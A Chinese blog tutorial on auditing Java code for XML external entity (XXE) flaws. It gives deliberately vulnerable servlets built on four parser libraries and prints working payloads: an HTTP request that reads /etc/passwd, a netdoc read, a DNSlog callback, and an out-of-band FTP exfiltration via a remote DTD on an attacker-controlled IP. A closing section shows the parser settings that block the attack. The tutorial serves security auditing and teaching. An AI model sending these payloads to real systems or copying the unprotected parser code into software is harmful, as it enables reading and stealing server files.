首页 > 编程语言 >Java代码审计-XXE

Java代码审计-XXE

时间:2024-01-29 15:58:51浏览次数:26  
标签:审计 xml Java String XML result XXE import javax

一、XXE漏洞简介

XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。
Java中的XXE支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网,没有回显时可组合利用file协议和ftp协议来读取文件。

二、XXE相关基础概念

1、XML:(可扩展标记语言,EXtensible Markup Language),是一种标记语言,用来传输和存储数据,而非显示数据。
2、DTD:(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。
3、实体ENTITY:XML中的实体类型,一般有下面几种:字符实体、命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。

三、java XXE审计函数

1、XML解析一般在导入配置、数据传输接口等场景可能会用到,涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体,从而判断是否存在XXE。部分XML解析接口如下:

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester

2、解析XML的方法越来越多,java中常见有四种,即:DOMDOM4JJDOM SAX。下面以这四种为例展示java的XXE漏洞。

package com.example.xxe;

import jdk.internal.org.xml.sax.SAXException;
import org.w3c.dom.Document;
import org.w3c.dom.NodeList;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.IOException;

@WebServlet("/xxe1")
public class xxe1Servlet extends HttpServlet {
    // 预设账号
    private static final String USERNAME = "admin";
    // 预设密码
    private static final String PASSWORD = "admin";

    // 处理POST请求
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String result = "";
        try {
            // 使用DOM解析XML
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            Document doc = db.parse(request.getInputStream());
            // 从XML文档中获取用户名和密码
            String username = getValueByTagName(doc, "username");
            String password = getValueByTagName(doc, "password");
            // 检查用户名和密码是否匹配
            if (username.equals(USERNAME) && password.equals(PASSWORD)) {
                result = String.format("<result><code>%d</code><msg>%s</msg></result>", 1, username);
            } else {
                result = String.format("<result><code>%d</code><msg>%s</msg></result>", 0, username);
            }
        } catch (ParserConfigurationException | org.xml.sax.SAXException e) {
            e.printStackTrace();
            // 处理XML解析异常
            result = String.format("<result><code>%d</code><msg>%s</msg></result>", 3, e.getMessage());
        }
        // 设置响应内容类型为XML
        response.setContentType("text/xml;charset=UTF-8");
        // 将结果发送回客户端
        response.getWriter().append(result);
    }

    // 处理GET请求
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // 将GET请求交给doPost处理
        doPost(request, response);
    }

    /**
     * 根据标签名获取对应的值
     *
     * @param doc     XML文档
     * @param tagName 标签名
     * @return 标签值
     */
    public static String getValueByTagName(Document doc, String tagName) {
        // 如果文档为空或标签名为空,则返回空字符串
        if (doc == null || tagName.equals(null)) {
            return "";
        }
        // 获取文档中所有指定标签的节点
        NodeList nodeList = doc.getElementsByTagName(tagName);
        // 如果节点列表不为空且长度大于0,则返回第一个节点的文本内容
        if (nodeList != null && nodeList.getLength() > 0) {
            return nodeList.item(0).getTextContent();
        }
        // 如果未找到指定标签,则返回空字符串
        return "";
    }
}

DocumentBuilderFactory.newInstance(): 这是一个工厂类方法,用于获取一个 DocumentBuilderFactory 实例,该实例用于创建 DOM 解析器的实例。

DocumentBuilder db = dbf.newDocumentBuilder(): 使用上一步获取的 DocumentBuilderFactory 实例创建一个 DocumentBuilder 实例。DocumentBuilder 是用于解析 XML 文档的类。

Document doc = db.parse(request.getInputStream()): 使用上一步创建的 DocumentBuilder 实例解析通过 request.getInputStream() 获取到的 XML 文档。这个 XML 文档是通过 HTTP POST 请求的输入流传递进来的。
package com.example;


import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;
import org.w3c.dom.NodeList;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.util.Iterator;

@WebServlet("/xxe2")
public class xxe2Servlet extends HttpServlet {
    private static final long serialVersionUID = 1L;

    private static final String USERNAME = "admin";//账号
    private static final String PASSWORD = "admin";//密码

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        String result="";
        try {
            //DOM4J Read XML
            SAXReader saxReader = new SAXReader();
            Document document = saxReader.read(request.getInputStream());

            String username = getValueByTagName2(document,"username");
            String password = getValueByTagName2(document,"password");

            if(username.equals(USERNAME) && password.equals(PASSWORD)){
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
            }else{
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
            }

        } catch (DocumentException e) {
            System.out.println(e.getMessage());
        }
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().append(result);
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doPost(request, response);
    }


    /**
     *
     * @param doc 文档
     * @param tagName 标签名
     * @return 标签值
     */
    public static String getValueByTagName2(Document document, String tagName){

        if(document == null || tagName.equals(null)){
            return "";
        }

        Element root = document.getRootElement();

        for (Iterator<Element> it = root.elementIterator(); it.hasNext();) {
            Element myuser = (Element) it.next();

            if(myuser.getName().equals(tagName)){
                System.out.println(myuser.getName() + ":" + myuser.getText());
                System.out.println("**********");
                return myuser.getText();
            }
        }

        return "";
    }
}

其他代码
JDOM2 Read XML

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {             
    String result="";
    try {
        //JDOM2 Read XML    
        SAXBuilder builder = new SAXBuilder();  
        Document document = builder.build(request.getInputStream());

        String username = getValueByTagName3(document,"username");
        String password = getValueByTagName3(document,"password");

        if(username.equals(USERNAME) && password.equals(PASSWORD)){
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
        }else{
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
        }

    } catch (JDOMException  e) {
        System.out.println(e.getMessage());
    } 
    response.setContentType("text/xml;charset=UTF-8");
    response.getWriter().append(result);
}

SAX Read XML


protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {      
    //https://blog.csdn.net/u011024652/article/details/51516220
    String result="";
    try {
        //SAX Read XML
        SAXParserFactory factory  = SAXParserFactory.newInstance(); 
        SAXParser saxparser = factory.newSAXParser();  
        SAXHandler handler = new SAXHandler();  
        saxparser.parse(request.getInputStream(), handler);
        //为简单,没有提取子元素中的数据,只要调用parse()解析xml就已经触发xxe漏洞了
        //没有回显  blind xxe
        result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,1);

    } catch (ParserConfigurationException e) {
        e.printStackTrace();
        result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
    } catch (SAXException e) {
        e.printStackTrace();
        result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
    }
    response.setContentType("text/xml;charset=UTF-8");
    response.getWriter().append(result);
}

四、xxe漏洞利用

XXE

回显

使用file协议读取 file:///etc/passwd内容

POST /xxe1 HTTP/1.1
Host: 192.168.48.118:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Pragma: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<note time="2022.01.23" >
<user>
<username>&b;</username>
<password>123456</password>
</user>
</note>

netdoc协议读取文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "netdoc:///etc/passwd">
]> 
<user><username>&xxe;</username><password>123456</password></user>

无回显

xxe dnslog 利用

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "http://h00cjx.dnslog.cn">
]> 
<user><username>&xxe;</username><password>123456</password></user>

CleanShot 2024-01-29 at 15.43.30.png

ftp无回显读取

jdk<7u141/jdk<8u162

在使用ftp 进行 oob 时,对jdk版本有限制, jdk版本 小于 7u141 和 小于 8u162 才可以读取整个文件

可以使用ftp协议 返回要读取的内容

python2 xxe-ftp-server.py 192.168.10.165 82 2121

客户端提交

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c:/1.txt">
<!ENTITY % dtd SYSTEM "http://192.168.10.165:82/data.dtd"> %dtd;
]>
<data>&send;</data>

CleanShot 2024-01-29 at 15.43.47.png

五、防御

想要防御java的XXE漏洞,一般采取禁用外部实体的方式,代码如下

factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);

标签:审计,xml,Java,String,XML,result,XXE,import,javax
From: https://www.cnblogs.com/Gp3r/p/17994687

相关文章

  • Java代码审计-FileUpload
    Web应用通常都会包含文件上传功能,用户可以将其本地的文件上传到Web服务器上。如果服务器端没有能够正确的检测用户上传的文件类型是否合法(例如上传了jsp后缀的WebShell)就将文件写入到服务器中就可能会导致服务器被非法入侵。漏洞成因后缀名无限制//导入必要的类库package......
  • javax.annotation.Nullable找不到
    您需要包括一个存在该类的罐子。您可以在这里找到它如果使用Maven,则可以添加以下依赖项声明:<dependency><groupId>com.google.code.findbugs</groupId><artifactId>jsr305</artifactId><version>3.0.2</version></dependency>对于Gradle:dependencies......
  • Windows下安装和配置Java JDK
    1、......
  • 配置java环境(Redhat)
    安装前准备:下载java的Jdkhttps://www.oracle.com/java/technologies/downloads/   (jdk-8u202-linux-x64.tar.gz)1.查看系统是否有java环境: java-version2.如果有版本输出则需要卸载之前的jdk,找出安装的jdk: rpm-qa|grepjdk3.根据 rpm-qa|grepjdk命令列出的......
  • JVM(Java虚拟机) 整理
    JVM整体结构本文主要说的是HotSpot虚拟机,JVM全称是JavaVirtualMachine,中文译名:Java虚拟机简化一下:Java字节码文件Class文件本质上是一个以8位字节为基础单位的二进制流,各个数据项目严格按照顺序紧凑的排列在Class文件中,JVM根据其特定的规则解析该二进制数据,从而得到......
  • java中二分查找前提必须是升序吗?
    二分查找不必须是升序,降序排列的数组也可以执行二分查找。二分查找算法是一种高效的搜索方法,它要求数据集是有序的,无论是升序还是降序都可以。在升序排列的情况下,算法会将目标值与中间值比较,如果目标值较小,则在左半部分继续查找;如果目标值较大,则在右半部分继续查找。在降序排列的......
  • 【干货】一文掌握JavaScript检查对象空值的N种技巧!
    在开发JavaScript应用程序时,经常需要检查对象是否为空。这是因为在处理和操作对象数据时,我们需要确保对象包含有效的值或属性。以下是一些常见情况,我们需要检查JavaScript对象是否为空:防止空引用错误:当我们尝试访问或使用一个空对象时,可能会导致空引用错误(如TypeError:Cann......
  • 【干货】一文掌握JavaScript检查对象空值的N种技巧!
    在开发JavaScript应用程序时,经常需要检查对象是否为空。这是因为在处理和操作对象数据时,我们需要确保对象包含有效的值或属性。以下是一些常见情况,我们需要检查JavaScript对象是否为空:防止空引用错误:当我们尝试访问或使用一个空对象时,可能会导致空引用错误(如TypeError:Can......
  • 深入浅出Java多线程(二):Java多线程类和接口
    引言大家好,我是你们的老伙计秀才!今天带来的是[深入浅出Java多线程]系列的第二篇内容:Java多线程类和接口。大家觉得有用请点赞,喜欢请关注!秀才在此谢过大家了!!!在现代计算机系统中,多线程技术是提升程序性能、优化资源利用和实现并发处理的重要手段。特别是在Java编程语言中,多线程机......
  • java读取并解析XML文件的方法有哪些?
    XMLStreamReader:1. DOM(DocumentObjectModel)方式:DOM将整个XML文档加载到内存中,形成一颗树状结构,然后通过操作这个树状结构来获取所需要的数据。示例代码如下:importjavax.xml.parsers.*;importorg.w3c.dom.*;publicclassXMLParser{publicstaticvoidmain(Stri......